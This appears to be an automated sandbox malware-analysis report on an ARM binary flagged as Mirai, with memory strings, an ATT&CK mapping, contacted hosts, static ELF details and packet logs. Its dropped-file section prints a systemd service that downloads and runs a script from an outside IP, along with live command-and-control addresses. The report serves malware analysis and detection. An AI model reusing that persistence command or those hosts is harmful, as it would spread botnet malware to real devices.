Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: arm.elf, 6682.1.00007f1bec045000.00007f1bec250000.rw-.sdmp	Binary or memory string: /var/lib/vmware4/var/lib/PackageKit
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: V/arm/var/lib/vmwareQ
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_721-4290559889
Source: arm.elf, 6682.1.00007f1bec045000.00007f1bec250000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: arm.elf, 6233.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp	Binary or memory string: V/tmp/qemu-open.ygFtwt:
Source: arm.elf, 6233.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6420.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6422.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6428.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6433.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6442.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6444.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6450.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6455.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6461.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6487.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6490.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6500.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6506.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6513.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6544.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6546.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6557.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: arm.elf, 6233.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6420.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6422.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6428.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6433.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6442.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6444.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6450.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6455.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6461.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6487.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6490.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6500.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6506.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6513.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6544.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6546.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6557.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm.elf, 6233.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6420.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6422.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6428.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6433.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6442.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6444.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6450.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6455.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6461.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6487.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6490.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6500.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6506.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6513.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6544.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6546.1.0000560ceef04000.0000560cef053000.rw-.sdmp, arm.elf, 6557.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm.elf, 6233.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.ygFtwt
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: P /var/lib/vmware/VGAuthQp9
Source: arm.elf, 6682.1.00007f1bec045000.00007f1bec250000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth4/var/lib/NetworkManager\|P

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.elf	51%	Virustotal		Browse
arm.elf	53%	ReversingLabs	Linux.Trojan.Mirai
arm.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tcpdown.su	45.200.149.95	true	false	high
tcpdown.su\|1	unknown	unknown	false	unknown
tcpdown.suo. [malformed]	unknown	unknown	true	unknown
tcpdown.su	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	startup_command.service.13.dr	false		high
http://154.216.18.192/auto.sh;	arm.elf, startup_command.service.13.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.175.130.16	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.96	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
107.175.130.16	arm5.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
45.200.149.96	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	Mozi.m.elf	Get hash	malicious	Unknown	Browse
	lx64.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	185.232.205.48-bot.mpsl-2025-01-01T09_56_39.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tcpdown.su	x86_64.crdownload.0.dr	Get hash	malicious	Unknown	Browse	104.168.45.11
tcpdown.su	jmhrc116WA.elf	Get hash	malicious	Unknown	Browse	172.245.119.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	mips.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	arm5.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	DF2.exe	Get hash	malicious	Unknown	Browse	45.200.148.158
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	mips.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	http://trezorbridge.org/	Get hash	malicious	Unknown	Browse	45.200.149.223
	vcimanagement.armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.63.21
	vcimanagement.armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.216.13
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.141.216
CANONICAL-ASGB	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Mozi.m.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	lx64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
AS-COLOCROSSINGUS	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
INIT7CH	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Mozi.m.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	lx64.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/systemd/system/startup_command.service

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.140421405816541
Encrypted:	false
SSDEEP:	6:z8jvIERZAMzdK+KOnFfltZCrXb1vN16R1E/Ls7QkhILQmWA4Rv:z+vIERZAOK+PCrXpvL6vJ73GLHWrv
MD5:	4D2C868F454B6C55731485CF0F886DC0
SHA1:	032B125DE0A28DCEE8D8D25FBEEB56DB7F403F04
SHA-256:	8C4AE1B82477698F3A8C273B439CB9079794AFB8FC33CD4DEF854936BA37EA2C
SHA-512:	060B2413A0CB2DEC0DB059C190467B5CB0D76209EFFEA4AE3DE2701FA71429B811A6F7E11E813B26806CF72578D1F32B608A02A4CE670EC58B5B65433E3CF11D
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Startup Command.After=network.target..[Service].ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null).RemainAfterExit=yes..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.ygFtwt (deleted)

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.3927474104487847
Encrypted:	false
SSDEEP:	3:Tg7G:Tgy
MD5:	060C950602AE5DFAF583473721C0D328
SHA1:	91D13B439729088DC17F1E0519970D82C56F2B07
SHA-256:	F8D4586FDF6230A2D5F431EF44BABDF37F6D7CEDBB3560702B0DC8493DD44EE3
SHA-512:	000D50E0A5736B0AB3B1BF61F55911914808FA197365B10F61F24096E2959ADAC2C3FF0D9ED226AD99934093F9FDD1C7035A22EEB5091DF75402A0A26E7A84AC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.915611147078294
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	84'644 bytes
MD5:	6a27b7679be2ee91ee53006b51832210
SHA1:	d2c2cd9791002177446ef2548392417ad87b4c9d
SHA256:	23815ea03401f17fedc670a93d733f1e62e68cf8a639092d3c53b53c1b4c9f4b
SHA512:	6cbe5f8e16a89f3ad9c738b1abe73c8b80f71ca046d1ec25353c13e7f129711b42a89198eb3dd7262fbc41a5c887eb4d58c712e77d575370ee8940c2f62f279e
SSDEEP:	1536:Hod+XgSg8lTipio2/UrwUTXwJHdvwTDFTcwLdPWrKsSTvUl:HodT6PpOwJ9YTDFcwpMqUl
TLSH:	3A833991BC815613C6C5127BFB6E428D372623A8D2EF3207DD266F21378692F0E77642
File Content Preview:	.ELF...a..........(.........4....I......4. ...(......................E...E...............E...E...E..................Q.td..................................-...L."...gF..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	84244
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x119d4	0x0	0x6	AX	16
.fini	PROGBITS	0x19a84	0x11a84	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19a98	0x11a98	0x2a78	0x0	0x2	A	4
.ctors	PROGBITS	0x24514	0x14514	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2451c	0x1451c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x24528	0x14528	0x3ac	0x0	0x3	WA	4
.bss	NOBITS	0x248d4	0x148d4	0xe714	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x148d4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x14510	0x14510	5.9445	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14514	0x24514	0x24514	0x3c0	0xead4	2.7690	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 19:26:53.056572914 CET	43928	443	192.168.2.23	91.189.91.42
Jan 1, 2025 19:26:55.306624889 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:26:55.311448097 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 1, 2025 19:26:55.311501980 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:26:55.318274021 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:26:55.323040009 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 1, 2025 19:26:55.323082924 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:26:55.327903986 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 1, 2025 19:26:56.127604961 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 1, 2025 19:26:56.127660036 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:26:56.127824068 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:26:58.431838036 CET	42836	443	192.168.2.23	91.189.91.43
Jan 1, 2025 19:26:59.203727007 CET	42516	80	192.168.2.23	109.202.202.202
Jan 1, 2025 19:27:02.288753986 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.293592930 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.293652058 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.295835018 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.295916080 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.299124956 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.300645113 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.303920984 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.307722092 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.342103004 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.354521036 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.354583025 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.359344959 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.406017065 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.642225027 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.647144079 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.647239923 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.648638010 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.648638010 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.653418064 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.665440083 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.665570974 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:02.698020935 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.703660965 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:02.703830957 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:03.038465023 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:03.038525105 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:03.877614021 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:03.882498026 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:03.882561922 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:03.885811090 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:03.885879040 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:03.890625000 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:03.938044071 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:04.275625944 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:04.275672913 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:05.896075010 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:05.900897026 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:05.900974035 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:05.904346943 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:05.904412985 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:05.909090042 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:05.950032949 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:05.983544111 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:05.988379955 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:05.988431931 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.029345036 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.029678106 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.034142017 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.082067013 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.153783083 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.158605099 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.158663034 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.165683985 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.165806055 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.171591043 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.214035988 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.363970995 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.364029884 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:06.547776937 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:06.547837019 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:09.290395021 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:09.290469885 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.019550085 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.024749994 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.024811983 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.028249979 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.028359890 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.033052921 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.074032068 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.123673916 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.128499031 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.128550053 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.141357899 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.141357899 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.146171093 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.190021992 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.420521975 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.420579910 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:11.492638111 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:11.492681980 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:13.533770084 CET	43928	443	192.168.2.23	91.189.91.42
Jan 1, 2025 19:27:15.955691099 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.960022926 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.960601091 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:15.960655928 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.960985899 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.961050034 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.964813948 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:15.964869976 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.965733051 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:15.969183922 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.969278097 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:15.973990917 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:16.010032892 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:16.017992020 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:16.333959103 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:16.334022999 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:16.335093021 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:16.335134029 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:18.438044071 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:18.442899942 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:18.442955017 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:18.443315983 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:18.443403959 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:18.448072910 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:18.490011930 CET	7722	57118	107.175.130.16	192.168.2.23
